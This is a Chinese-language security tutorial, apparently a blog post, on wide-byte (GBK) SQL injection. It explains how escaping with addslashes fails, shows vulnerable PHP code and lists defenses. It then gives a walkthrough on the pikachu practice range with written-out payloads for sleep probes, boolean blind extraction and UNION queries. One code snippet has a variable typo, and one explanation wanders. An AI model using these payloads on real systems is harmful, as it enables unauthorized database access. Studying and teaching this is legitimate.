Web渗透之SQL注入-宽字节注入

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、概念

1、核心原理

2、简单示例

3、典型场景与代码

4、触发条件

5、与普通注入的区别

6、防御措施

7、实际利用(合法测试环境)

8、总结

二、宽字节注入的典型过程

1、漏洞代码分析

[2、攻击 Payload 与结果](#2、攻击 Payload 与结果)

3、总结

三、靶场注入示例

1、环境确认与初步探测

2、测试注入点是否存在

[2.1 使用延时注入初步验证](#2.1 使用延时注入初步验证)

[2.2 布尔条件测试](#2.2 布尔条件测试)

3、利用布尔盲注获取数据库信息

[3.1 获取数据库名长度](#3.1 获取数据库名长度)

[3.2 逐个字符猜解数据库名](#3.2 逐个字符猜解数据库名)

4、使用联合查询直接获取数据库名

一、概念

宽字节注入是一种利用数据库字符集编码差异 绕过转义防御(如 addslashesmysql_real_escape_string)的 SQL 注入技术。它主要发生在使用 GBK、GB2312、BIG5 等多字节字符集的环境中。

1、核心原理

当数据库连接使用 SET NAMES 'gbk'(或类似的宽字节字符集)时,PHP 的转义函数(如 addslashes)会在特殊字符前添加反斜杠 \(ASCII 0x5c)。攻击者通过在输入中构造一个宽字节字符 (如 %df),与转义添加的反斜杠 %5c 组合成一个合法的多字节字符(如 %df%5c),导致反斜杠被"吞掉"而失去转义效果,从而使得原本被转义的单引号 ' 重新成为字符串结束符,实现注入。

2、简单示例

  • 正常输入:1' → 被转义成 1\' → 无法注入。

  • 宽字节注入输入:1%df' → 经过转义变成 1%df\' → 但 %df 和反斜杠 %5c 组成 %df%5c(一个合法的 GBK 字符),剩下的单引号 %27 未被转义 → 最终 SQL 为 ... WHERE id='1運'',实现了注入。

3、典型场景与代码

复制代码
// 数据库连接设置为 GBK
mysql_query("SET NAMES 'gbk'");
$name = addslashes($_GET['name']);
$sql = "SELECT * FROM users WHERE name='$nam'";

攻击者输入 name=1%df' or 1=1 --,利用宽字节特性逃逸转义。

4、触发条件

  1. 数据库连接使用了宽字节字符集(如 GBK、GB2312、BIG5、Shift_JIS)。

  2. PHP 使用了转义函数 (如 addslashesmysql_real_escape_string,但后者在设置正确字符集时可能无效)。

  3. 客户端提交的数据未做更严格的过滤或预处理

5、与普通注入的区别

  • 普通注入:通过闭合引号、注释符绕过。

  • 宽字节注入:通过构造宽字节使反斜杠失效,从而让单引号"活过来"。

6、防御措施

  1. 使用参数化查询(Prepared Statements):最彻底的方法,无需关心字符集。

  2. 统一使用 UTF-8 字符集 :UTF-8 中 %df%5c 不是一个有效的多字节字符,反斜杠不会被吞掉。设置 SET NAMES 'utf8' 或使用 charset=utf8

  3. 避免使用 GBK/GB2312 等宽字节编码 ,或确保转义函数正确处理(如 mysql_set_charset('gbk') 配合 mysql_real_escape_string 可防御,但推荐直接上参数化查询)。

  4. 输入过滤 :过滤 %df%5c 等危险字符,但不如前两种可靠。

7、实际利用(合法测试环境)

在宽字节环境下,探测注入:

复制代码
http://example.com/?id=1%df' and 1=1 -- 

如果返回内容与 1' and 1=1 类似,则存在宽字节注入。

8、总结

宽字节注入是一种依赖于特定字符集(非 UTF-8) 的注入技术,利用转义符反斜杠与输入字符组成多字节字符从而"吃掉"反斜杠。根本防御是参数化查询,其次统一使用 UTF-8 字符集。

二、宽字节注入的典型过程

1、漏洞代码分析

复制代码
mysql_query($conn, "set names gbk");   // 设置数据库连接为 GBK 字符集
$id = $_GET['id'];
$id = addslashes($id);                 // 对输入进行转义
$sql = "select * from userinfo where id='{$id}'";
  • 关键点 :数据库连接使用了 GBK 字符集。

  • addslashes 会将单引号 ' 转义为 \'(反斜杠的 ASCII 为 0x5c),通常可以防止 SQL 注入。

  • 但由于 GBK 是多字节字符集,某些字节与反斜杠 0x5c 组合会形成一个合法的中文字符,导致反斜杠被"吸收"而失效。


2、攻击 Payload 与结果

Payload

复制代码
http://127.0.0.1/demo3.php?id=1%bf union select 1,2,3 limit 1,1 -- -

执行过程

  1. 用户输入 1%bf%bf 是一个十六进制字节(191)。

  2. addslashes 会在单引号前加反斜杠,但这里并没有单引号?注意:代码中 $id 被拼接进 SQL 时会用单引号包裹,如 '{$id}'。传入 1%bf,实际字符串为 1 后跟一个字节 0xbf

  3. 然而,攻击者最终目的是要让原本的闭合单引号失效。实际注入的完整 payload 是 1%bf' union ...。因为在 URL 中单引号被编码为 %27,但为了展示,图中写的是 1%bf union...,可能省略了单引号?注意图中显示的 SQL 语句:select * from userinfo where id='1' union select 1,2,3 limit 1,1 -- -',说明 1 后面确实有一个单引号。因此原始输入应该是 1%bf'。但图中显示的 payload 没有单引号?重新看:1%bf union...%bf 后面直接跟 union,这意味着 %bf 本身并不是单引号。实际上典型的宽字节注入是在单引号前加 %df 之类的,让 %df%5c 合成一个汉字,从而保留单引号。图中可能省略了单引号,或者将 %bf 作为绕过转义的一部分。

更准确地解释:正常输入 1' 会被转义为 1\',反斜杠 0x5c 在 GBK 中与后续字符组合。攻击者输入 1%bf',转义后变为 1%bf\',即字节序列:31 bf 5c 27。由于 bf5c 组成一个有效的 GBK 字符(如 ),反斜杠被消耗,剩下的 27 即为独立的单引号,从而闭合了原 SQL 中的引号。然后攻击者可以追加 union select ...

执行的 SQL 最终变为:

复制代码
select * from userinfo where id='1' union select 1,2,3 limit 1,1 -- -'

成功执行了联合查询,并返回了数组 [1,2,3]


3、总结

  • 宽字节注入原理 :利用 GBK 等字符集中,某些字节与反斜杠 0x5c 组成多字节字符,导致转义符失效。

  • 触发条件 :数据库连接使用 SET NAMES gbk(或类似宽字符集)且应用程序使用转义函数(如 addslashes)。

  • 防御方法:使用参数化查询(推荐)或统一使用 UTF-8 字符集,并避免使用不安全的转义函数。

三、靶场注入示例

以pikachu靶场为例

1、环境确认与初步探测

  1. 正常访问 访问 http://192.168.179.135/pikachu-master/pikachu-master/vul/sqli/sqli_widebyte.php,输入用户名 kobe 查询,返回 uid=3, email=kobe@pikachu.com。确认正常功能。

  2. 确认字符集与宽字节条件 查看页面源码或提示,得知该模块使用 GBK 编码,并且存在宽字节注入漏洞。


2、测试注入点是否存在

2.1 使用延时注入初步验证

Payload (POST 参数 name):

复制代码
kobe%bf'or sleep(5)--
  • %bf 是宽字节字符,与转义添加的反斜杠 %5c 组合成 GBK 汉字,从而吃掉反斜杠,使单引号存活。

  • 提交后页面响应明显延迟 5 秒,确认存在时间盲注,同时说明宽字节注入有效。

2.2 布尔条件测试

  • 永真条件kobe%bf'or 1=1-- 结果返回了所有用户(uid 从 1 到 7 等多条记录),说明条件生效。

  • 永假条件kobe%bf'or 1=2-- 返回"您输入的username不存在",说明页面能区分真/假。 → 确认存在布尔盲注。


3、利用布尔盲注获取数据库信息

3.1 获取数据库名长度

Payload

复制代码
kobe%bf'or length(database())=7--

页面正常返回多条用户数据(真),说明 length(database()) = 7 成立。 若改为 =8 则返回空,从而确定数据库名长度为 7

3.2 逐个字符猜解数据库名

使用 substr(database(),1,1) 结合 ASCII 码或十六进制比较。

示例 (猜第一个字符是否为 p):

复制代码
kobe%bf'or substr(database(),1,1)=0x70--
  • 0x70 是字母 p 的十六进制。页面返回正常(真),说明第一个字符是 p。 后续依次猜解 substr(database(),2,1) 等,最终得到数据库名 pikachu


4、使用联合查询直接获取数据库名

由于联合查询需要确定列数,且该模块存在回显位置,用户直接使用了联合查询(截图显示成功)。

Payload

复制代码
kobe%bf'union select database(),2 limit 0,1--
  • 闭合前面的查询,limit 0,1 确保只返回联合查询的结果。

  • 执行后在页面上 your uid 处显示 pikachuyour email 显示 2。 → 成功获取当前数据库名。

相关推荐
我是大猴子1 小时前
死锁,慢sql排查,mysql死锁
数据库·sql
曲幽10 小时前
FastAPI 身份验证总踩坑?这份 FastAPI Users “避坑指南”请收好
python·fastapi·web·jwt·oauth2·user·authentication
乐迪信息11 小时前
乐迪信息:AI算法盒子实时识别船舶烟雾与火焰异常
大数据·人工智能·算法·安全·目标跟踪
汤愈韬12 小时前
IPSec-NAT穿越原理和配置
网络·网络协议·安全·网络安全·security
JoyCong199813 小时前
ToDesk AI 正式登场:您的智能远程助手,积分新玩法科普
人工智能·安全·电脑·远程工作·远程操作
大方子14 小时前
【PolarCTF】导航栏
网络安全·polarctf
vortex515 小时前
AI Skill 设计:网络安全审计中的自主性与规范化博弈
人工智能·安全·web安全
zhangfeng113316 小时前
那nvidia orim车载gpu tee安全飞地 和天垓 100 gpgpu的 飞地 ,大概有多大存储量 ,解密流程
人工智能·深度学习·安全·语言模型·gpu算力·芯片
吹个口哨写代码16 小时前
前后端分离的安全补救措施
安全